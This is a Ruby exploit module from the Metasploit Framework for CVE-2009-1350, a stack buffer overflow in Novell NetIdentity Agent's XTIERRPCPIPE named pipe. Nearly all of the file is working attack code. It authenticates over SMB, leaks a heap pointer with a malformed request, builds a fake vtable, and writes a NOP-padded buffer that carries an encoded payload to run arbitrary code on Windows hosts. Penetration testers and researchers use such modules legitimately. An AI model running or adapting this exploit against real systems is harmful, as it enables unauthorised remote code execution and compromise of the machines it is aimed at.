##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell NetIdentity Agent XTIERRPCPIPE Named Pipe Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Novell's NetIdentity Agent. When sending
				a specially crafted string to the 'XTIERRPCPIPE' named pipe, an attacker may be
				able to execute arbitrary code. The success of this module is much greater once the
				service has been restarted.
			},
			'Author'         => [ 'MC', 'Ruben Santamarta' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2009-1350' ],
					[ 'OSVDB', '53351' ],
					[ 'BID', '34400' ],
					[ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=62&Itemid=1' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process', # only one shot!
				},
			'Payload'	=>
				{
					'Space'	=> 550,
					'BadChars' => "\x00\x09\x0c\x0b\x20\x0a\x0d\x5c\x5f\x2f\x2e\x40",
					'StackAdjustment' => -3500,
					'PrependEncoder' => "\x81\xe4\xf0\xff\xff\xff",
				},
			'Platform'	=> 'win',
			'Targets'	=>
				[
					[ 'Windows 2000 / Windows XP / Windows 2003', { 'Ret' => 0x41414141 } ],
				],
			'Privileged'	 => true,
			'DisclosureDate' => 'Apr 6 2009',
			'DefaultTarget'	 => 0))

		register_options(
			[
				OptString.new('SMBUser', [ true, 'The username to authenticate as', 'metasploit']),
				OptString.new('SMBPass', [ true, 'The password for the specified username', 'metasploit'])
			], self.class )
	end

	def mem_leak
		print_status("Connecting to the server...")
		connect()

		print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")

		begin
			smb_login()
		rescue ::Exception => e
			print_error("Error: #{e}")
			disconnect
			return
		end

		print_status("Connecting to named pipe \\XTIERRPCPIPE...")

		# If the pipe doesn't exist, bail.
		begin
			pipe = simple.create_pipe('\\XTIERRPCPIPE')
		rescue ::Exception => e
			print_error("Error: #{e}")
			disconnect
			return
		end

		# If we get this far, do the dance.
		fid = pipe.file_id

		# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id
		trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')

		# Send the first request to get our pointer.
		leak =  [0x00000004].pack('V') + [0x00000818].pack('V')
		leak << rand_text_alpha_upper(2040)

		print_status("Sending malformed request...")
		pipe.write(leak)

		heap_pointer_leaked = pipe.read()[2060,4].unpack('V')[0]
		print_status(sprintf("Heap Pointer leaked: 0x%.8x", heap_pointer_leaked))

		print_status("Building fake VTable...")
		object = heap_pointer_leaked + 0x700
		print_status(sprintf("Object: 0x%.8x", object))
		method = object + 0x30
		print_status(sprintf("Method: 0x%.8x", method))
		shellcode = method + 0xA0
		print_status(sprintf("Shellcode: 0x%.8x", shellcode))

		pipe.close

		return heap_pointer_leaked,object,method,shellcode
	end

	def exploit
		heap_pointer_leaked,object,method,shellcode = mem_leak()

		return if not shellcode

		sploit =  [0x00000002].pack('V')
		sploit << [0x00000000].pack('V')
		sploit << [object].pack('V')
		sploit << [0x00000000].pack('V')
		sploit << rand_text_alpha_upper(240)
		sploit << [object].pack('V') * 32
		sploit << [method].pack('V') * 32
		sploit << [shellcode].pack('V') * 32
		sploit << make_nops(748)
		sploit << payload.encoded
		sploit << rand_text_alpha_upper(110)

		print_status("Connecting to the server...")
		connect()

		print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")

		begin
			smb_login()
		rescue ::Exception => e
			print_error("Error: #{e}")
			disconnect
			return
		end

		print_status("Connecting to named pipe \\XTIERRPCPIPE...")

		# If the pipe doesn't exist, bail.
		begin
			pipe = simple.create_pipe('\\XTIERRPCPIPE')
		rescue ::Exception => e
			print_error("Error: #{e}")
			disconnect
			return
		end

		# ok, set up and send our exploit buffer...
		fid = pipe.file_id
		trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
		print_status("#{sploit.length} bytes written...")
		pipe.write(sploit)

		handler
		disconnect
	end
end